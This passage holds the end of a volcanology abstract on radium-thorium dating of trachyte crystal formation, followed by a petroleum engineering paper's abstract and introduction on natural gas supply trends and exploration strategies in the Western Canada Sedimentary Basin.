3 x 10–4/year for fractionation within the trachyte sequence. (226Ra/230Th) from two whole-rock–alkali feldspar pairs are interpreted to show the crystals formed at 5800 years BP (Lt2b) and 2800 years BP (Lt3), implying that phenocryst formation continued almost up to the time of eruption. The results strongly indicate that fractionated magmas can be stored for periods on the order of 1000–2500 years prior to eruption, whereas other magmas were erupted as fractionation was proceeding.

Gas Exploration And Development Strategies In the Western Canada Sedimentary Basin

Abstract The Western Canadian Sedimentary Basin (WCSB) is a major source of natural gas supply for the North American market, with year 2000 basin productivity at more than 450 e6m3/d (16 Bcfd). Significant natural decline requires that in excess of 84 e6m3/d (3 Bcfd) of new supply must be added each year simply to maintain constant basin deliverability. In addition, the average rate added per well continues decreasing and the initial decline rate increasing. During the decade of the 1990s, over 700 e6m3/d (25 Bcfd) of new western Canadian gas deliverability was added, from over 42,000 new producing well events. Based on the year of pool discovery and the year that the area was first connected to the delivery system, there are four definable strategies. Each of the four strategies (Exploration, Connection, Development, and Renewal) contributed a significant amount of gas rate additions. What role will exploration and development strategies play in future gas supply? This paper provides an illustration of the trends in gas supply additions over the last decade, including a view of the geographic distribution, as well as other attributes. There is also a comparison of the portfolios of E&amp;D strategies that operators employed. A brief synopsis of the methodology being followed to determine a consistent measurement of gas rate-additions is also presented. Careful analysis of the historical results has yielded useful insights for operators as they make their choices about future activities. Introduction The Western Canadian Sedimentary Basin (WCSB) is a critically important source of natural gas supply for Canada and the United States. In the year 2000, the WCSB produced over 23% of the gas consumed in these nations. Gas supply from the WCSB has increased substantially over the past decade. From a level of 225 e6m3/d (8 Bcfd) in the mid- 1980s, marketable natural gas deliveries increased to over 450 E6m3/d (16 Bcfd) in 2000. To achieve this growth in production, and compensate for the natural decline in production from existing wells, operators in Western Canada added significant new deliverability. Over 42,000 gas wells were brought onstream during the 1990s, contributing, in aggregate, 703 e6m3/d (25.1 Bcfd) in rate additions. Supply replacement in the WCSB will be a challenge as natural decline creates a large gap in productivity each year. At 1999 production levels and decline rates, 93 e6m3/d (3.3 Bcfd) must be added yearly simply to replace decline. The production gap is growing larger each year because the total decline rate is increasing. The average decline rate has risen from 17 - 18% per year in the early 1990s to over 26% per year at the end of the decade. The increase in the decline rate was basin-wide and was observed to increase in all sources of new gas supply (by strategy employed, by geographic region, by stratigraphic group, and by reservoir depth). In addition, the supply contribution of the average new well to fill the production gap has been decreasing.